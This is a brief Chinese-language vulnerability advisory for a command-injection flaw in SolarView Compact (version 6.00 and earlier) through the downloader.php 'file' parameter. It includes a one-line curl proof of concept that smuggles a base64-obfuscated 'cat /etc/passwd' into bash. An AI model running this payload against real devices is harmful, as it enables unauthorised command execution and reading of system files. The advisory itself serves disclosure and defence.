摘要：

SolarView Compact 至版本 6.00 存在命令注入漏洞，攻击者可通过 downloader.php 绕过内部限制执行命令。

供应商：

• SolarView Compact

受影响产品：

• SolarView Compact

版本：

• SolarView Compact <=ver 6.00

poc：

curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep root:.*:0:0

详情：

通过访问 downloader.php 页面的 file 参数，可以绕过内部限制注入命令。